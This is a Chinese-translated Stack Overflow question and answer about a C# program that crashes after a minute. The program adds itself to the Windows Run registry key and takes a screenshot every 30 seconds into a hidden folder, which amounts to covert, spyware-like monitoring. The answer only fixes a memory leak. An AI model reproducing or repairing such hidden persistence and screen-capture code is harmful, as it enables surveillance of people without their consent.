c# - Visual Studio 说我的构建成功,但我的程序在一分钟后崩溃

标签 c# visual-studio visual-studio-2017

<分区>

我已多次调试我的 C# 代码并查看结果以修复我的代码。我已经修复了每个错误,直到没有更多错误为止。我构建了我的程序,但是当我开始它的时候,它只在那里呆了一分钟就崩溃了。我不知道我的代码有什么问题。

我使用的是 Visual Studio 2017。此外,我的程序应该每 30 秒截取一次屏幕截图,然后将它们保存到 C 盘上名为 SysApp 的文件夹中。

代码:

using System;
using System.Threading;
using System.Reflection;
using System.IO;
using System.Windows;

namespace SysApp
{
    static class Program
    {
        static void Main()
        {
            try
            {
                Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                Assembly curAssembly = Assembly.GetExecutingAssembly();
                key.SetValue(curAssembly.GetName().Name, curAssembly.Location);
                Console.WriteLine(curAssembly.GetName());

            }
            catch { }
            int n = 0;
            while (n == 0)
            {
                Thread.Sleep(30000);
                OnTimedEvent();
            }
        }
        public static string st = "";
        public static string date = "";
        public static string month = "";
        public static string year = "";
        public static string time = "";
        public static string hour = "";
        public static string min = "";
        public static string sec = "";


        private static void OnTimedEvent()
        {
            st = DateTime.Today.Date.ToString();
            time = DateTime.Now.TimeOfDay.ToString();

            hour = DateTime.Now.Hour.ToString();
            min = DateTime.Now.Minute.ToString();
            sec = DateTime.Now.Second.ToString();

            date = DateTime.Today.Day.ToString();
            month = DateTime.Today.Month.ToString();
            year = DateTime.Today.Year.ToString();

            Console.WriteLine("The Elapsed event was raised at {0}_{1}_{2} at time {3}_{4}_{5} ", date, month, year, hour, min, sec);

            Bitmap memoryImage;
            memoryImage = new Bitmap(1000, 800);
            Size s = new Size(memoryImage.Width, memoryImage.Height);
            Graphics memoryGraphics = Graphics.FromImage(memoryImage);
            memoryGraphics.CopyFromScreen(0, 0, 0, 0, s);
            string str = "";
            if (Directory.Exists("C:\\SysApp"))
            {
                Console.WriteLine("directory exits");
            }
            else
            {
                Directory.CreateDirectory("C:\\SysApp");
                File.SetAttributes("C:\\SysApp", FileAttributes.Hidden);
                Console.WriteLine("new directory created");
            }
            //---------------------------------------

            str = string.Format("C:\\SysApp\\screen {0}_{1}.png", date + month + year, hour + min + sec);
            try
            {
                memoryImage.Save(str);
            }
            catch (Exception er)
            {
                Console.WriteLine("Sorry, there was an error: " + er.Message);
            }
        }
    }

    internal class Bitmap
    {
        private int v1;
        private int v2;

        public Bitmap(int v1, int v2)
        {
            this.v1 = v1;
            this.v2 = v2;
        }

        public double Width { get; internal set; }
        public double Height { get; internal set; }

        internal void Save(string str)
        {
            throw new NotImplementedException();
        }
    }
}

最佳答案

存在内存泄漏,因为 BitmapGraphics 在每次循环迭代后都没有释放。

memoryImage.Save(str); 之后添加以下内容修复它:

memoryGraphics.Dispose();
memoryImage.Dispose(); 

关于c# - Visual Studio 说我的构建成功,但我的程序在一分钟后崩溃,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/44734102/

相关文章:

visual-studio - 打开解决方案后,Visual Studio Pro 2012 立即崩溃并出现 MissingFieldException

.net - 去除挂代码的工具

c# - 为什么内存使用部分在性能分析器中被禁用?

c++ - 无法从命令行 VS2017 为 C++ 运行 msbuild

c# - 将枚举变成自定义对象列表?

c# - 键值对的正则表达式

c# - C# 编译器和优化会破坏这段代码吗?

c# - 无法在门户中将 azure 队列存储与 azure 函数(调度程序触发器)绑定(bind)

.net - Visual Studio 的 StyleCop 的替代品?

android - 无法构建xamarin android项目